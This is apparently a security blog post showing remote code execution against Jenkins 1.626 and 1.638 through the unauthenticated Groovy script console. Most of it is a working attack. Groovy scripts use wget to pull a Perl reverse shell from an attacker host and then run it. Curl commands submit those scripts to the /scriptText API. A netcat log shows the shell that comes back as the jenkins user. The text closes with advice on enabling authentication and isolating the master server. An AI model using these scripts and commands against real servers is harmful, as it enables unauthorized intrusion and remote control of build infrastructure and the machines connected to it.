Description:

Jenkins (continuous intergration server) default install allows for unauthenticated access to the API on the Jenkins Master Server (default behavour). Allowing unauthenticated access to the groovy script console, allowing an attacker to execute shell commands and / or connect back with a reverse shell.

DISCLAIMER

Disclaimer, I didn't discover this exploit, it has been discovered before... This vulnerability has been disclosed before to the Jenkins CI developers, who do not consider it a vulnerability.

Jenkins RCE API Exploit

Tested Versions

Software Version

Jenkins

Ver 1.626

Jenkins

Ver 1.638

Tested Operating Systems

An effort to test all affected OS’s, showing the severity of the exploit (e.g. jenkins shell) for the default OS packaged version.

Operating System Default Package Expoit

CentOS 6 - Jenkins RPM via Jenkins YUM Repo

shell as user jenkins

Instructions

This is really basic, I made a few small groovy scripts to execute the shell commands I wanted via Jenkins API (I recall having some issues runing more than one command at a time via groovy), I then executed them using Curl.

groovy script wget shell

Script to wget perl reverse shell to target and copy it to /tmp/shell.

   def command = "wget http://192.168.145.128/perl-reverse-shell.pl -O /tmp/shell"
   def proc = command.execute()
   proc.waitFor()

   println "Process exit code: ${proc.exitValue()}"
   println "Std Err: ${proc.err.text}"
   println "Std Out: ${proc.in.text}"
Jenkins requires /tmp to have exec perms

By default Jenkins requires /tmp to have the execute mount option set, so you should be safe to land shells there on Jenkins servers.

groovy script execute shell command

    def command = "perl /tmp/shell"
    def proc = command.execute()
    proc.waitFor()              

    println "Process exit code: ${proc.exitValue()}"
    println "Std Err: ${proc.err.text}"
    println "Std Out: ${proc.in.text}"

Execute the Groovy Scripts via scriptText Jenkins API

curl -d "script=$(<./wget.groovy)" -X POST http://192.168.30.130:8080/scriptText
curl --data-urlencode  "script=$(<./execute.groovy)" -X POST http://192.168.30.130:8080/scriptText

Get Shell

    [root:~/pwn-jenkins]# nc -v -n -l -p 443
    listening on [any] 443 ...
    connect to [192.168.30.128] from (UNKNOWN) [192.168.30.130] 42340
     21:16:17 up 15:17,  1 user,  load average: 0.23, 0.31, 0.17
     USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
     root     tty1     -                05:59    3:40   0.12s  0.12s -bash
     Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
     uid=498(jenkins) gid=499(jenkins) groups=499(jenkins) context=unconfined_u:system_r:unconfined_java_t:s0
     /
     apache: cannot set terminal process group (-1): Invalid argument
     apache: no job control in this shell
     apache-4.1$ whoami
     whoami
     jenkins
     apache-4.1$ id
     id
     uid=498(jenkins) gid=499(jenkins) groups=499(jenkins) context=unconfined_u:system_r:unconfined_java_t:s0
     apache-4.1$
Jenkins Does Not Consider this a Vulnerability

Dispite the fact the web application is insecure by default (the default install leaves the API and webapp exposed without authentication), Jenkins do not consider this a vulnerability. Your best option is to configure authentication by following the Securing Jenkinsi Guide

More info about Jenkins

Jenkins is a tool consisting of a master and a slave, the master server schedules and runs jobs for the jenkins slaves to execute. The default installation configures the master as a slave server, allowing anyone with access to the Jenkins master to execute arbitrary code on the master (via the slave).

A more secure solution would be isolating the role of the master server. Currently if a Jenkins master server is compromised, it’s likely an attacker will also be able to execute jobs / run shell scripts on the Jenkins slaves.

An additional ACL option within Matrix-based security to disable API, and another for script console / execution on the Jenkins Master would be a good idea. Currently the only options is to disable all script access for the user/group, which appears to include the slaves.

Be mindful of the fact that, by giving access to the slaves via the Jenkins Master, you’re essentially giving the user shell level access to the slave (or at least the ability to execute shell commands on the slave machine).

More Resources

More links about this vuln and similar Jenkins vulns below: